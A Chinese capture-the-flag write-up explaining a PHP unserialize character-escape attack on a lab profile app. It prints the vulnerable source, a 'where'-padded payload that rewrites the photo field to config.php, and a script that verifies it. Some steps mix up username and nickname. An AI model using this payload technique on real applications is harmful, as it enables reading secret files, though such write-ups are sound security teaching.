考查知识点:源码泄露,php反序列化字符逃逸,数组进行长度绕过
目录
解题过程
源码泄露
www.zip
下载后,得到后端源码
代码审计
class.php中存在许多函数
-
<?php
-
require(
'config.php');
//class.php是好多个php函数的集合,其他函数通过request函数进行包含即可使用这些函数
-
-
class user extends mysql{
-
private $table =
'users';
-
-
public
function is_exists($username) {
-
$username =
parent::filter($username);
-
-
$where =
"username = '$username'";
-
return
parent::select(
$this->table, $where);
-
}
-
public
function register($username, $password) {
-
$username =
parent::filter($username);
-
$password =
parent::filter($password);
-
-
$key_list =
Array(
'username',
'password');
-
$value_list =
Array($username, md5($password));
//注意这里对md5进行加密,这是个很好的知识点,如果建站的时候,将密码进行md5加密,就算被脱库,仍然有很大的安全性
-
return
parent::insert(
$this->table, $key_list, $value_list);
-
}
-
public
function login($username, $password) {
-
$username =
parent::filter($username);
-
$password =
parent::filter($password);
-
-
$where =
"username = '$username'";
-
$object =
parent::select(
$this->table, $where);
-
if ($object && $object->password === md5($password)) {
-
return
true;
-
}
else {
-
return
false;
-
}
-
}
-
public
function show_profile($username) {
-
$username =
parent::filter($username);
-
-
$where =
"username = '$username'";
-
$object =
parent::select(
$this->table, $where);
-
return $object->profile;
-
}
-
public
function update_profile($username, $new_profile) {
//对特殊字符进行过滤,存在php反序列化漏洞
-
$username =
parent::filter($username);
-
$new_profile =
parent::filter($new_profile);
-
-
$where =
"username = '$username'";
-
return
parent::update(
$this->table,
'profile', $new_profile, $where);
-
}
-
public
function __tostring() {
-
return
__class__;
-
}
-
}
-
-
class mysql {
-
private $link =
null;
-
-
public
function connect($config) {
-
$this->link = mysql_connect(
-
$config[
'hostname'],
-
$config[
'username'],
-
$config[
'password']
-
);
-
mysql_select_db($config[
'database']);
-
mysql_query(
"SET sql_mode='strict_all_tables'");
-
-
return
$this->link;
-
}
-
-
public
function select($table, $where, $ret = '*') {
-
$sql =
"SELECT $ret FROM $table WHERE $where";
-
$result = mysql_query($sql,
$this->link);
-
return mysql_fetch_object($result);
-
}
-
-
public
function insert($table, $key_list, $value_list) {
-
$key = implode(
',', $key_list);
-
$value =
'\'' . implode(
'\',\'', $value_list) .
'\'';
-
$sql =
"INSERT INTO $table ($key) VALUES ($value)";
-
return mysql_query($sql);
-
}
-
-
public
function update($table, $key, $value, $where) {
-
$sql =
"UPDATE $table SET $key = '$value' WHERE $where";
-
return mysql_query($sql);
-
}
-
-
public
function filter($string) {
//存在php反序列化漏洞
-
$escape =
array(
'\'',
'\\\\');
-
$escape =
'/' . implode(
'|', $escape) .
'/';
-
$string = preg_replace($escape,
'_', $string);
-
-
$safe =
array(
'select',
'insert',
'update',
'delete',
'where');
-
$safe =
'/' . implode(
'|', $safe) .
'/i';
-
return preg_replace($safe,
'hacker', $string);
//where替换为hacker,长度会发生变化
-
}
-
public
function __tostring() {
-
return
__class__;
-
}
-
}
-
session_start();
-
$user =
new user();
-
$user->connect($config);
config.php中有flag
-
<?php
-
$config[
'hostname'] =
'127.0.0.1';
-
$config[
'username'] =
'root';
-
$config[
'password'] =
'';
-
$config[
'database'] =
'';
-
$flag =
'';
-
?>
profile.php中存在文件包含漏洞
-
<?php
-
require_once(
'class.php');
-
if($_SESSION[
'username'] == null) //这个应该是通过session判断是否登录,然后根据这个来判断是回去登录,还是继续运行代码
-
{
-
die(
'Login First');
-
}
-
$username = $_SESSION[
'username'];
-
$profile=$user->show_profile($username);
-
if($profile == null) {
-
header(
'Location: update.php');
-
}
-
else {
-
$profile = unserialize($profile);
-
$phone = $profile[
'phone'];
-
$email = $profile[
'email'];
-
$nickname = $profile[
'nickname'];
-
$photo = base64_encode(file_get_contents($profile[
'photo']));
-
?>
index.php
-
<?php
-
require_once(
'class.php');
-
if($_SESSION[
'username']) {
-
header(
'Location: profile.php');
-
exit;
-
}
-
if($_POST[
'username'] && $_POST[
'password']) {
-
$username = $_POST[
'username'];
-
$password = $_POST[
'password'];
-
-
if(strlen($username) <
3
or strlen($username) >
16)
-
die(
'Invalid user name');
-
-
if(strlen($password) <
3
or strlen($password) >
16)
-
die(
'Invalid password');
-
-
if($user->login($username, $password)) {
-
$_SESSION[
'username'] = $username;
-
header(
'Location: profile.php');
-
exit;
-
}
-
else {
-
die(
'Invalid user name or password');
-
}
-
}
-
else {
-
?>
register.php
-
<?php
-
require_once(
'class.php');
-
if($_POST[
'username'] && $_POST[
'password']) {
-
$username = $_POST[
'username'];
-
$password = $_POST[
'password'];
-
-
if(strlen($username) <
3
or strlen($username) >
16)
-
die(
'Invalid user name');
-
-
if(strlen($password) <
3
or strlen($password) >
16)
-
die(
'Invalid password');
-
if(!$user->is_exists($username)) {
-
$user->register($username, $password);
-
echo
'Register OK!<a href="index.php">Please Login</a>';
-
}
-
else {
-
die(
'User name Already Exists');
-
}
-
}
-
else {
-
?>
update.php
-
<?php
-
require_once(
'class.php');
-
if($_SESSION[
'username'] ==
null) {
-
die(
'Login First');
-
}
-
if($_POST[
'phone'] && $_POST[
'email'] && $_POST[
'nickname'] && $_FILES[
'photo']) {
-
-
$username = $_SESSION[
'username'];
-
if(!preg_match(
'/^\d{11}$/', $_POST[
'phone']))
//对十一位数字进行匹配
-
die(
'Invalid phone');
-
-
if(!preg_match(
'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST[
'email']))
//正则匹配,对email进行匹配
-
die(
'Invalid email');
-
-
if(preg_match(
'/[^a-zA-Z0-9_]/', $_POST[
'nickname']) || strlen($_POST[
'nickname']) >
10)
//对昵称长度进行限制
-
die(
'Invalid nickname');
-
-
$file = $_FILES[
'photo'];
-
if($file[
'size'] <
5
or $file[
'size'] >
1000000)
//对图片进行限制
-
die(
'Photo size error');
-
-
move_uploaded_file($file[
'tmp_name'],
'upload/' . md5($file[
'name']));
-
$profile[
'phone'] = $_POST[
'phone'];
-
$profile[
'email'] = $_POST[
'email'];
-
$profile[
'nickname'] = $_POST[
'nickname'];
-
$profile[
'photo'] =
'upload/' . md5($file[
'name']);
-
-
$user->update_profile($username, serialize($profile));
-
echo
'Update Profile Success!<a href="profile.php">Your Profile</a>';
-
}
-
else {
-
?>
1. class.php存在很多函数,其余文件通过包含class.php进行调用函数。
2. config.php中存在flag
3. index.php和register.php是基本的登录功能和注册功能,不过对输入的数据进行了些匹配或限制罢了
4. update.php可以更新用户数据,将phone,email,nickname,photo四个数值放入$profile数组中,同时进行关键词过滤和序列化操作
5. profile.php中将用户的信息展示出来,值得注意的是,如果$profile['photo']=config.php,那么config.php就会在profile.php中展示出来,flag当然也在其中!!!!
大致思路
首先创建账号register.php——>登录index.php——>更新用户信息update.php——>将得到的config.php进行base64解码profile.php
1. 创建账号,并且登录
2. 更新用户信息
我们的本意是令$profile['photo']=config.php,但是后台对输入的信息进行了md5加密,所以不能直接修改用户信息
-
if(preg_match(
'/[^a-zA-Z0-9_]/', $_POST[
'nickname']) || strlen($_POST[
'nickname']) >
10)
//对昵称长度进行限制
-
die(
'Invalid nickname');
-
-
$file = $_FILES[
'photo'];
-
if($file[
'size'] <
5
or $file[
'size'] >
1000000)
//对图片进行限制
-
die(
'Photo size error');
-
-
move_uploaded_file($file[
'tmp_name'],
'upload/' . md5($file[
'name']));
-
$profile[
'phone'] = $_POST[
'phone'];
-
$profile[
'email'] = $_POST[
'email'];
-
$profile[
'nickname'] = $_POST[
'nickname'];
-
$profile[
'photo'] =
'upload/' . md5($file[
'name']);
-
-
$user->update_profile($username, serialize($profile));
-
echo
'Update Profile Success!<a href="profile.php">Your Profile</a>';
我们看到后台对$profile进行了序列化操作,并且执行了update_profile()函数,追溯
-
public
function update_profile($username, $new_profile) {
//对特殊字符进行过滤,存在php反序列化漏洞
-
$username =
parent::filter($username);
-
$new_profile =
parent::filter($new_profile);
-
-
$where =
"username = '$username'";
-
return
parent::update(
$this->table,
'profile', $new_profile, $where);
-
}
其中含有filter()函数,继续追溯
-
public
function filter($string) {
//存在php反序列化漏洞
-
$escape =
array(
'\'',
'\\\\');
-
$escape =
'/' . implode(
'|', $escape) .
'/';
-
$string = preg_replace($escape,
'_', $string);
-
-
$safe =
array(
'select',
'insert',
'update',
'delete',
'where');
-
$safe =
'/' . implode(
'|', $safe) .
'/i';
-
return preg_replace($safe,
'hacker', $string);
//where替换为hacker,长度会发生变化
-
}
可以看到,更新用户信息之前会对序列化后的字符串中的关键词进行替换,值得注意的是这里关键词where替换为hacker,会导致字符串增加1,这样就需要php反序列化字符逃逸的知识
首先正常情况下,我们用户的信息大致是这样的
-
<?php
-
$profile[
'phone'] =
"12345678901";
-
$profile[
'email'] =
"123456@qq.com";
-
$profile[
'nickname'] =
array(
0=>
'123');
-
$profile[
'photo'] =
'upload/' . md5(
"1.jpg");
-
print_r($profile);
-
$a = serialize($profile);
-
echo $a;
而使用php反序列化字符串逃逸,我们可以利用后台将where替换为hacker的时候制造的字符串长度增加,使得nickname中的部分字符串占据photo的位置,并且进行截断,就可以使得photo变为我们想要的值
首先我们需要保持username的字符串长度不大于10,可以使用数组绕过,令username为一个数组即可
-
if(preg_match(
'/[^a-zA-Z0-9_]/', $_POST[
'nickname']) || strlen($_POST[
'nickname']) >
10)
//对昵称长度进行限制
-
die(
'Invalid nickname');
如下,可以看到,虽然会warning,但是可以执行,并且绕过
正常情况下,序列化后的字符串为
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
但是我们进行php反序列化字符串逃逸的时候,nickname的末尾应该是";}s:5:"photo";s:10:"config.php";},也就是
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
但是这样造成不了截断,因为nickname的长度不一致,反序列化时还是会在原来的位置进行截断
所以需要where替换为hacker,造成字符串长度增加
string(34) "";}s:5:"photo";s:10:"config.php";}"
我们需要的时34个字符长度,而每一个where替换为hacker都会增加一个字符长度,所以需要34个where被替换。
构造payload:
-
<?php
-
function filter($string) {
//存在php反序列化漏洞
-
$escape =
array(
'\'',
'\\\\');
-
$escape =
'/' . implode(
'|', $escape) .
'/';
-
$string = preg_replace($escape,
'_', $string);
-
-
$safe =
array(
'select',
'insert',
'update',
'delete',
'where');
-
$safe =
'/' . implode(
'|', $safe) .
'/i';
-
return preg_replace($safe,
'hacker', $string);
//where替换为hacker,长度会发生变化
-
}
-
$profile[
'phone'] =
"12345678901";
-
$profile[
'email'] =
"123456@qq.com";
-
$profile[
'nickname'] =
array(
0=>
'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
-
$profile[
'photo'] =
'upload/' . md5(
"1.jpg");
-
print_r($profile);
-
$a = serialize($profile);
-
echo $a;
-
$b = filter($a);
-
echo $b;
-
print_r(unserialize($b));
结果如下,可以看到,生效,$profile['photo']=config.php
-
Array
-
(
-
[phone] =>
12345678901
-
[email] =>
123456@qq.com
-
[nickname] =>
Array
-
(
-
[
0] => wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere
";}s:5:"photo
";s:10:"config.php
";}
-
)
-
-
[photo] => upload/f3ccdd27d2000e3f9255a7e3e2c48800
-
)
-
Array
-
(
-
[phone] => 12345678901
-
[email] => 123456@qq.com
-
[nickname] => Array
-
(
-
[0] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
-
)
-
-
[photo] => config.php
-
)
开始拿flag
在更新用户的界面,burpsuite进行抓包
修改信息,将username修改为数组username[],并将username[]的信息修改为
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
回显,修改信息成功,查看profile.php
将base64编码的字符串进行解码操作,得到flag
相关资料
转载:https://blog.csdn.net/RABCDXB/article/details/115471518